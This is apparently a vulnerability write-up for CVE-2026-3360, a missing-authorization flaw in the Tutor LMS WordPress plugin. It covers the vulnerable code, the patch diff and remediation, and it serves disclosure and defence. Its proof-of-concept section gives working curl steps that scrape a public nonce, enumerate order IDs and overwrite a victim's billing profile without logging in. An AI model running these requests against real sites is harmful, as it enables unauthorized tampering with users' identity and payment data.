CVE-2026-3360: Tutor LMS Unauthenticated Billing Overwrite (CVSS 7.5)

CVE-2026-3360: Tutor LMS Unauthenticated Billing Overwrite (CVSS 7.5)

CVE-2026-3360 is a CVSS 7.5 High missing authorization vulnerability in the Tutor LMS WordPress plugin. It allows any unauthenticated attacker to overwrite the billing profile (name, email, phone, address) of any user who holds an incomplete manual payment order — with nothing more than a guessed order ID and a nonce scraped from any public page.

Vulnerability Summary

FieldValue
Plugin NameTutor LMS – eLearning and online course solution
Plugin Slugtutor
CVE IDCVE-2026-3360
CVSS Score7.5 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Vulnerability TypeMissing Authorization — Unauthenticated Arbitrary Billing Profile Overwrite (IDOR)
Affected Versions<= 3.9.7
Patched Version3.9.8
PublishedApril 9, 2026
ResearcherSupakiad S. (m3ez) — E-CQURITY (Thailand) LinkedIN
Wordfence AdvisoryLink

Description

The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) in all versions up to, and including, 3.9.7. This is due to missing authentication and authorization checks in the pay_incomplete_order() function. The function accepts an attacker-controlled order_id parameter and uses it to look up order data, then writes billing fields to the order owner’s profile ($order_data->user_id) without verifying the requester’s identity or ownership.

Because the Tutor nonce (_tutor_nonce) is exposed on public frontend pages, this makes it possible for unauthenticated attackers to overwrite the billing profile — first name, last name, email, phone, address, country, state, city, and zip code — of any user who has an incomplete manual order, by sending a crafted POST request with a guessed or enumerated order_id.


Technical Analysis

The attack flows through four components: the init_action dispatcher, the action hook registration, the unguarded pay_incomplete_order() handler, and the publicly leaked nonce.

1. Hook Dispatch — classes/Tutor.php, line 563

On WordPress init, the plugin reads a tutor_action request parameter and fires it as a dynamic action hook with no authentication precondition:

// classes/Tutor.php:658-662
public function init_action() {
    $tutor_action = Input::sanitize_request_data( 'tutor_action' );
    if ( '' !== $tutor_action ) {
        do_action( 'tutor_action_' . $tutor_action );
    }
}

Any HTTP request to any WordPress URL with tutor_action=tutor_pay_incomplete_order — authenticated or not — will trigger the registered handler. There is no login check at this dispatch layer.

2. Handler Registration — ecommerce/CheckoutController.php, line 109

// ecommerce/CheckoutController.php:107-113
if ( $register_hooks ) {
    add_action( 'tutor_action_tutor_pay_now', array( $this, 'pay_now' ) );
    add_action( 'tutor_action_tutor_pay_incomplete_order', array( $this, 'pay_incomplete_order' ) );
    ...
}

The pay_incomplete_order method is registered to handle the above action with no authentication precondition.

3. The Vulnerable Function — ecommerce/CheckoutController.php, lines 1059–1120

public function pay_incomplete_order() {
    $order_id       = Input::post( 'order_id', 0, Input::TYPE_INT );
    $payment_method = Input::post( 'payment_method', '' );
    $request        = Input::sanitize_array( $_POST );

    $billing_model           = new BillingModel();
    $billing_fillable_fields = array_intersect_key( $request, array_flip( $billing_model->get_fillable_fields() ) );

    if ( ! tutor_utils()->is_nonce_verified() ) {
        tutor_utils()->redirect_to( ... );
        exit;
    }
    if ( $order_id ) {
        $order_model = new OrderModel();
        $order_data  = $order_model->get_order_by_id( $order_id );
        if ( $order_data ) {   // ← NO ownership check
            try {
                if ( ! empty( $payment_method ) && OrderModel::PAYMENT_METHOD_MANUAL === $order_data->payment_method ) {
                    $billing_info = $billing_model->get_info( $order_data->user_id );
                    if ( $billing_info ) {
                        // ← Overwrites billing data for $order_data->user_id — the ORDER OWNER, not the requester
                        $update_billing = $billing_model->update(
                            $billing_fillable_fields,
                            array( 'user_id' => $order_data->user_id )
                        );
                    } else {
                        $billing_fillable_fields['user_id'] = $order_data->user_id;
                        $save = $billing_model->insert( $billing_fillable_fields );
                    }
                    ...
                }
            }
        }
    }
}

The function resolves the target user ($order_data->user_id) from the attacker-supplied order_id and writes the attacker-supplied billing fields to that user’s record without ever checking who is making the request.

4. Fillable Billing Fields — models/BillingModel.php, lines 25–35

The get_fillable_fields() method defines nine writable columns in wp_tutor_customers:

private $fillable_fields = array(
    'billing_first_name',
    'billing_last_name',
    'billing_email',
    'billing_phone',
    'billing_zip_code',
    'billing_address',
    'billing_country',
    'billing_state',
    'billing_city',
);

All nine fields are overwritable in a single request.

5. Nonce Exposure — classes/Assets.php, lines 165–166

The Tutor nonce is injected into the JavaScript data object on every page load, visible to any visitor without authentication:

// classes/Assets.php:165-166
'nonce_key'  => tutor()->nonce,           // = '_tutor_nonce'
tutor()->nonce => wp_create_nonce( tutor()->nonce_action ),  // action: 'tutor_nonce_action'

The nonce values are:

Additionally, tutor_nonce_field() renders a hidden input in multiple public-facing templates:

Any anonymous visitor can load a course, lesson, or quiz page and extract a valid nonce from the HTML source.


Root Cause

The pay_incomplete_order() function performs two operations driven by a user-controlled order_id:

  1. It resolves the order owner ($order_data->user_id) from the database using the attacker-supplied ID.
  2. It writes attacker-supplied billing fields directly to that owner’s profile.

There is no check that the requester is authenticated, and no check that the requester owns the order. The nonce check is present but provides no authentication protection because the nonce is a publicly readable, site-wide value embedded in every page.

Why Existing Controls Failed

ControlWhy it failed
Nonce check (is_nonce_verified())The nonce is generated via wp_create_nonce('tutor_nonce_action') and embedded in the _tutorobject JS object and in public HTML templates on every page load. Any unauthenticated visitor can read a valid nonce from any course, lesson, or quiz page. The check prevents simple CSRF but provides zero authentication.
No is_user_logged_in() guardThe function never checks whether a session exists before processing the order write.
No ownership checkEven if authenticated, there is no get_current_user_id() === $order_data->user_id verification before writing billing data.

Attack Impact

An unauthenticated remote attacker can:

  1. Overwrite the billing profile (all nine fields: name, email, phone, address, country, state, city, zip) of any WordPress user who holds an incomplete manual payment order.
  2. Disrupt payments and identity data for targeted users without needing any credentials.
  3. Enumerate order IDs — typically sequential integers — to target arbitrary users on the platform at scale.

Proof of Concept

Disclaimer: This PoC is provided for educational and defensive security research purposes only. Only use against systems you own or have explicit written authorization to test.

Prerequisites


Step 1: Retrieve a Valid Tutor Nonce from Any Public Page

Browse any public Tutor course, lesson, or quiz page without logging in. The nonce is embedded in the _tutorobject JavaScript object:

curl -s "https://TARGET_SITE/courses/sample-course/" \
  | grep -o '"_tutor_nonce":"[^"]*"'

Expected output:

"_tutor_nonce":"a1b2c3d4e5"

Save this value as NONCE. Alternatively, extract it from a hidden form input:

curl -s "https://TARGET_SITE/courses/sample-course/" \
  | grep -o 'name="_tutor_nonce" value="[^"]*"'

Step 2: Enumerate a Target Order ID

Order IDs are typically sequential integers starting from 1. A response that redirects toward a payment page confirms a valid order. Requests that return “Order not found” can be skipped. The function only writes billing data when the matched order uses payment_method = 'manual'; a few iterations will usually find a qualifying incomplete order on active installations.


Step 3: Send the Crafted POST Request

curl -s -X POST "https://TARGET_SITE/" \
  -d "tutor_action=tutor_pay_incomplete_order" \
  -d "order_id=VICTIM_ORDER_ID" \
  -d "payment_method=manual" \
  -d "_tutor_nonce=NONCE" \
  -d "billing_first_name=Attacker" \
  -d "billing_last_name=Controlled" \
  -d "billing_email=attacker@evil.com" \
  -d "billing_phone=0000000000" \
  -d "billing_address=1 Hacked Street" \
  -d "billing_city=HackerCity" \
  -d "billing_state=HackerState" \
  -d "billing_country=HackerCountry" \
  -d "billing_zip_code=00000"

Replace:

No login cookie is required. The server processes the request, writes the attacker-supplied billing data to wp_tutor_customers for the order owner’s user_id, and redirects to the payment flow.


Expected Result

The victim user’s billing profile in wp_tutor_customers is fully overwritten with the attacker-supplied values. Any subsequent checkout or invoice generation will use the tampered billing data.

Verification

Log in as a site administrator and navigate to the victim user’s billing information in the Tutor LMS order management or customer profile. All nine billing fields will reflect the attacker-supplied values.

Alternatively, query the database directly:

SELECT * FROM wp_tutor_customers WHERE user_id = VICTIM_USER_ID;

The billing_first_name, billing_email, and other columns will contain the attacker’s data.


Patch Analysis

What Changed

Only one PHP source file is directly relevant to this fix:

Asset and vendor files were updated as part of the release but contain no security-relevant changes.

Fix Explanation

The patch introduces two independent guards at the top of pay_incomplete_order() before any user input is processed:

  1. Authentication check: is_user_logged_in() — the function immediately redirects unauthenticated requests before reading any POST data, blocking the entire attack surface for anonymous callers.
  2. Ownership check: The condition if ( $order_data ) is strengthened to if ( $order_data && get_current_user_id() === (int) $order_data->user_id ) — even an authenticated user cannot modify billing data for an order they do not own.

Together these patches fix both the root cause (no authentication) and the secondary IDOR (no ownership verification). The nonce exposure on public pages was intentionally left unchanged — the nonce continues to be globally readable, which is acceptable now that authentication and ownership are the actual security controls.

Residual consideration: Order IDs remain sequential and guessable, but an attacker must now be authenticated and own the order to trigger any billing write.

Code Diff (Key Changes)

--- a/ecommerce/CheckoutController.php (3.9.7)
+++ b/ecommerce/CheckoutController.php (3.9.8)
@@ -1057,6 +1057,12 @@ class CheckoutController {
  * @return void
  */
 public function pay_incomplete_order() {
+
+    // Authentication check.
+    if ( ! is_user_logged_in() ) {
+        tutor_redirect_after_payment( OrderModel::ORDER_PLACEMENT_FAILED, 0, __( 'Please log in first', 'tutor' ) );
+    }
+
     $order_id       = Input::post( 'order_id', 0, Input::TYPE_INT );
     $payment_method = Input::post( 'payment_method', '' );
     $request        = Input::sanitize_array( $_POST );
@@ -1068,7 +1074,7 @@ class CheckoutController {
     if ( $order_id ) {
         $order_model = new OrderModel();
         $order_data  = $order_model->get_order_by_id( $order_id );
-        if ( $order_data ) {
+        if ( $order_data && get_current_user_id() === (int) $order_data->user_id ) {
             try {

Timeline

DateEvent
UnknownVulnerability discovered and reported by Supakiad S. (m3ez) — E-CQURITY (Thailand)
April 9, 2026Publicly disclosed by Wordfence
April 9, 2026Patched version 3.9.8 released

Remediation

Update the tutor plugin to version 3.9.8 or later immediately.

If an immediate update is not possible, consider these temporary mitigations:


References

  1. Wordfence Advisory
  2. CVE-2026-3360 at CVE.org
  3. Vulnerable source — Tutor.php:563 (nonce dispatch)
  4. Vulnerable source — CheckoutController.php:108 (hook registration)
  5. Vulnerable source — CheckoutController.php:1059 (pay_incomplete_order)
  6. Patched source — CheckoutController.php:1059 (trunk)
  7. Patch changeset on Trac
  8. Researcher profile — Supakiad S.
  9. Tutor LMS on WordPress.org

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee